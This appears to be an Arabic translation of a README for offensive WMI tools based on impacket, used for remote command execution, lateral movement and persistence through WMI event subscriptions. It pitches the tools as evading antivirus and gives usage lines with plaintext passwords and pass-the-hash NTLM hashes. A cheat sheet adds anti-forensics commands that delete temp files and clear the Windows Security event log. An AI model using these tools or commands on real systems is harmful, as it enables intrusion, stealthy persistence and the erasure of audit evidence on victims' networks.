في wmiexec.py الأصلي، يحصل على الاستجابة من اتصال SMB (المنفذ 445,139). لسوء الحظ، بعض برامج مكافحة الفيروسات تراقب هذه المنافذ باعتبارها عالية المخاطر.
في هذه الحالة، قمت بإزالة وظيفة اتصال SMB واستخدمت طرقًا أخرى لتنفيذ الأوامر.

• wmiexec-reg-sch-UnderNT6-wip.py: ينفذ الأمر باستخدام فئة win32-scheduledjob. وفقًا لـ xiangshan، تعمل فئة win32-scheduledjob فقط تحت ويندوز NT6 (ويندوز سيرفر 2003).
  بالمناسبة، تم تعطيل win32_scheduledjob افتراضيًا بعد ويندوز NT6. إليك طريقة تمكينها.

• wmipersist-wip.py (موصى به بشدة، !!!يعمل فقط على impacket v0.9.24!!!): نسخة بايثون من WMIHACKER، التي أخذت منها قالب vbs. يمكن للمهاجم استخدامها للحركة الجانبية بأمان تحت برامج مكافحة الفيروسات.

• wmiexec-regOut.py: مجرد مثال بسيط لطريقة Win32_Process.create.

كيف يعمل؟

• سير عمل wmiexec-wip.py:

  الخطوة 1:

  • المصادقة عبر WMIC عن بُعد

  الخطوة 2:

  • استخدام فئة win32process واستدعاء طريقة create لتنفيذ الأمر. ثم كتابة النتيجة في دليل C:\windows\temp باسم [uuid].txt

  الخطوة 3:

  • ترميز محتوى الملف إلى سلاسل base64 (تحتاج لانتظار بضع ثوانٍ)

  الخطوة 4:

  • إضافة سلسلة base64 المحولة إلى السجل، واسم المفتاح [uuid]

  الخطوة 5:

  • الحصول على سلاسل base64 عن بُعد وفك تشفيرها محليًا.

• سير عمل wmipersist-wip.py:

  الخطوة 1:

  • إضافة سكريبت vbs مخصص إلى فئة ActiveScriptEventConsumer.

  الخطوة 2:

  • إنشاء عامل تصفية للأحداث (Event Filter).

  الخطوة 3:

  • تشغيل فئة FilterToConsumerBinding لتحقيق الاختراق!

المتطلبات

بشكل عام، تحتاج فقط إلى تثبيت impacket الرسمي.

• البوابة

الاستخدام

• استخدام wmiexec-wip.py:

  باستخدام كلمة مرور نصية صريحة

  root@kitploit:~

  python3 wmiexec-reg.py administrator:[email protected] 'whoami'
  

  

  باستخدام تجزئات NTLM

  root@kitploit:~

  python3 wmiexec-reg.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 [email protected] 'whoami'
  

  

• استخدام wmipersist-wip.py (الافتراضي بدون إخراج):

  باستخدام كلمة مرور نصية صريحة (بدون إخراج)

  root@kitploit:~

  python3 wmipersist-wip.py administrator:[email protected] 'command'
  

  

  باستخدام تجزئات NTLM

  root@kitploit:~

  python3 wmipersist-wip.py -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 [email protected] 'whoami'
  

  

  مع الإخراج

  root@kitploit:~

  python3 wmipersist-wip.py administrator:[email protected] "whoami /priv" -with-output
  python3 wmipersist-wip.py [email protected] "whoami /priv" -hashes e91d2eafde47de62c6c49a012b3a6af1:e91d2eafde47de62c6c49a012b3a6af1 -with-output
  

  

  تحت برنامج مكافحة الفيروسات Huorong (باستخدام قالب WMIHACKER VBS!!!)

ورقة الغش

• لا تنس تنظيف الدليل المؤقت بعد تشغيل الأمر مع الإخراج.
  الأمر: del /q /f /s C:\windows\temp\*
  

• الأمر يحتوي على علامات اقتباس مزدوجة.
  ضع علامات الاقتباس المزدوجة داخل علامات الاقتباس المفردة wevtutil cl '"security"'
  

المهام المستقبلية

• إصدار جديد من أدوات wmi، قريبًا جدًا :)

المراجع

• https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
• https://github.com/360-Linton-Lab/WMIHACKER
• https://github.com/FortyNorthSecurity/WMIOps
• https://docs.microsoft.com/en-us/windows/win32/cimwin32prov/operating-system-classes